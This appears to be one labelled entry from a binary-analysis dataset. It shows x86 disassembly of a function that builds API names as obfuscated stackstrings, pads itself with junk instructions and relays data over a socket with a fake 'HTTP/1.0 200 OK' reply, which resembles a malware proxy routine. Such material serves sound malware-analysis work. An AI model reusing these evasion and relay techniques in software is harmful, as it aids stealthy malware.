Function at 0x409127
Capabilities:
Contain obfuscated stackstrings
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and byte [ebp - 0x10], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x24]
push edi
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x43
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x53
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x6e
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov edx, eax
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
and byte [ebp - 0x124], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
and dword [ebp - 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
nop
nop
mov edi, 0x420358
push edi
call edx
inc dword [0x4206c8]
push str.LeaveCriticalSection
push str.KERNEL32.dll
call esi
push eax
call ebx
push edi
call eax
nop
nop
nop
mov edi, dword [ebp + 0x10]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push edi
call fcn.00408ffb
pop ecx
pop ecx
nop
nop
nop
test eax, eax
je 0x40935f
nop
nop
nop
cmp eax, 1
je 0x409294
cmp eax, 2
je 0x409294
cmp eax, 3
je 0x409294
cmp eax, 4
jne 0x409310
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x124]
push eax
mov eax, dword [ebp - 4]
sub ecx, eax
add eax, edi
push ecx
push eax
call fcn.00408f69
push dword [ebp - 8]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x124]
push eax
lea eax, [edi + 4]
push eax
call fcn.0040973a
add esp, 0x1c
test eax, eax
je 0x40935f
push 0
push str.HTTP_1.0_200_OK_r_n_r_n
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push str.HTTP_1.0_200_OK_r_n_r_n
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409313
push dword [ebp - 4]
mov edi, dword [ebp + 0x14]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.004090a1
add esp, 0x10
mov dword [ebp + 0x14], eax
nop
nop
nop
test eax, eax
je 0x40935f
lea eax, [ebp - 8]
mov ecx, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x124]
push eax
mov eax, dword [ebp - 4]
sub edi, eax
sub edi, 7
lea eax, [eax + ecx + 7]
push edi
push eax
call fcn.00408f69
nop
nop
nop
mov eax, dword [ebp + 8]
push dword [ebp - 8]
lea edi, [eax + 4]
lea eax, [ebp - 0x124]
push eax
push edi
call fcn.0040973a
add esp, 0x1c
test eax, eax
je 0x40935f
nop
nop
nop
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40935f
mov edi, dword [ebp + 8]
cmp dword [edi], 0
je 0x40935f
cmp dword [edi + 4], 0
je 0x40935f
mov edi, str.KERNEL32.dll
push str.CreateThread
push edi
call esi
push eax
call ebx
lea ecx, [ebp - 0xc]
push ecx
xor ecx, ecx
push ecx
push dword [ebp + 8]
push 0x40a1c8
push ecx
push ecx
call eax
test eax, eax
mov dword [ebp + 8], eax
je 0x40935a
push str.WaitForSingleObject
push edi
call esi
push eax
call ebx
push 0xffffffffffffffff
push dword [ebp + 8]
call eax
push 1
pop eax
jmp 0x409361
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret